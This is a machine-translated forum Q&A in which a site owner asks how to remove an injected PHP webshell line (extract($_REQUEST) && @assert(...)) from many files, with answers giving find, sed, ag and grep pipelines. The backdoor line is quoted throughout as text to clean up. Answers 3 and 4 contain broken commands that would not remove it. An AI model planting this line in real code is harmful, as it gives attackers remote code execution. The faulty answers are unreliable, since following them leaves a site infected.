Comando Linux para localizar e remover texto de vários arquivos de uma vez

Comando Linux para localizar e remover texto de vários arquivos de uma vez

Meu site está infectado por um vírus. Este vírus adicionou esta linha em vários arquivos do meu site. Minha ideia é remover esta linha de texto com um comando exclusivo do terminal.

Digamos que eu tenha a pasta 'minha-pasta' e dentro dela, meus arquivos: 'arquivo-1.php', 'arquivo-2.php' e assim por diante.

E digamos que haja vários arquivos infectados.

Existe um comando para localizar e remover esta linha de código em vários arquivosde uma vez só?

Texto a ser removido: extract($_REQUEST) && @assert(stripslashes($accept)) && exit;

Encontrei isso, mas só funciona com um único arquivo:

$ sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' my-file.php

Posso fazer isso?

Responder1

  1. Você pode combinar sedcom findpara torná-lo recursivo. Algo parecido:

    find . -type f -name "*php" -exec sed -i.bak 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//' {} \+
    

    Observe que ele percorrerá sua árvore de diretórios atual e aplicará sed a todos os arquivos "*php" existentes. Ele também criará um arquivo de backup .bak para cada arquivo alterado (para que você possa restaurá-lo mais tarde, apenas por precaução). Se você não precisar de um backup, substitua -i.bakapenas por -i. Caso contrário, você poderá remover os backups mais tarde (depois de verificar se está tudo bem) com algo como find . -name "*php.bak" -delete.

  2. Esta etapa não ajudará você a consertar tudo agora, mas definitivamente poderá economizar seu tempo no futuro: mantenha seu diretório com scripts em git(bem, idealmente deveria ser uma solução CI/CD completa, mas você pode começar apenas com git ), para que você possa reverter/avançar facilmente as alterações aplicadas aos seus arquivos.

Responder2

Procure arquivos contendo a string maliciosa e edite-os com sed:

ag -lF --php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Muitas vezes confio emagpara pesquisar apenas phparquivos com a --phpbandeira. Se preferir, você pode fazer o mesmo com grep -r -i --include \*.php:

grep -rilF --include \*.php 'extract($_REQUEST) && @assert(stripslashes($accept)) && exit;' | xargs sed -i 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'

Responder3

dependendo do seu comando, sugiro que você use "for loop" para fazer isso:

for i in file-1.php file-2.php
        do sed 's/extract($_REQUEST) && @assert(stripslashes($accept)) && exit;//'
done

você também pode adicionar qualquer arquivo que desejar "for i in file-1.php file-2.php file-n.php

Responder4

Você pode usar o método abaixo para excluir as linhas do arquivo que contém um padrão específico

Você pode mencionar os arquivos no loop for

for i in file1 file2
do
sed -i '/Text to remove: extract($_REQUEST) && @assert(stripslashes($accept)) && exit/d' $i
done

informação relacionada